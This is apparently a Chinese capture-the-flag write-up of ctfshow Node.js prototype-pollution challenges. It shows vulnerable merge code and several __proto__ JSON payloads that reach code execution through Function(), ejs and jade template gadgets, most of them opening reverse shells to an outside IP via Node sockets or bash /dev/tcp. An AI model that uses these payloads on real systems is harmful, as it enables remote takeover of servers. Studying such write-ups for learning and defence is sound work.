原型链污染的利用思路扩展

源于一道题: [网鼎杯 2020 青龙组]notes 做这道题的时候一直在想着找undefined属性 后面又因为一个坑没调试出来原型链污染效果=.=|| 代码太长了就不贴了. 原型链污染分析undefsafe低版本存在原型链污染, 详细信息: https://snyk.io/vuln/SNYK-JS-UNDEFSAF ......
ommon , 发现是 Object recursive merge 的一段代码

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

payload : {"__proto__": {"ctfshow": "36dboy"}}, 通过污染{},来达到条件

1613018214898

web339 RCE

发现this变量似乎指向了一个全局空间

面向对象语言中 this 表示当前对象的一个引用 , 考虑把user.__proto__.ctfshow赋值为this.flag

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
console.log(query)
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});

secert.ctfshow===flag是无法实现了.

在api.js , 可以通过参数污染控制query,然后实现RCE

Function:https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function

1
2
3
4
5
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
console.log(query);
res.render('api', { query: Function(query)(query)});
});

payload: 反弹shell (下面这个一直没成功)

1
2
3
{"__proto__":{"query":"var net = require('net'),cp = require('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(1001,'91.67.943.121', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;"}}
// node 反弹shell
(function(){var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/sh", []);var client = new net.Socket();client.connect(1001,"91.67.943.121", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/; })();

后来在P牛博客看到, https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html

1613041146851

1
{"__proto__":{"query":"var net = process.mainModule.constructor._load('net'),cp = process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(1001,'91.67.943.121', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;"}}

然后再次尝试反弹shell.

1613045113959

Express运行环境和node shell环境下结果不一致//坑死在这里了

web340

关键代码变成了下面的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body); // 危
console.log('user.userinfo')
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});

不能直接修改isAdmin的值,但是可以找两次原型污染query

1
{"__proto__":{"__proto__":{"query":"var net = process.mainModule.constructor._load('net'),cp = process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(1001,'91.67.943.121', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;"}}}

web341 ejs RCE

ejs模板引擎的原型链污染RCE reference: https://xz.aliyun.com/t/6113

污染最上层就能影响到整个模板.还是挺神奇的.

payload:

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/91.67.943.121/6666 0>&1\"');var __tmp2"}}}

以后再好好审计研究一下.

342

app.js 可以看到模板引擎换成了jade, 然后 https://xz.aliyun.com/t/7025 这篇文章里面找到一个payload,失败了

1
2
3
app.set('views', path.join(__dirname, 'views'));
app.engine('jade', require('jade').__express);
app.set('view engine', 'jade');
1
{"__proto__":{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/91.67.943.121/6666 0>&1\"'))"}}}

Nu1L战队搜到的一条链,可惜也失败了

1
{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/91.67.943.121/6666 0>&1\"');//"}}

分割线,2.22来填坑了.

payload:

1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/91.67.943.121/6666 0>&1\"')"}}}

payload分析过程:

https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/

344 nodejs特性

参考羽师傅wp https://blog.csdn.net/miuzzx/article/details/111780832

?query={“name”:”admin”&query=”password”:”%63tfshow”&query=”isVIP”:true}

--> web334 little trick考察js特性: 参考 https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html 1234567toUpperCase():ı ==>Iſ ==>StoLowerCase():İ ==> ......
Readmore
ctfshow nodejs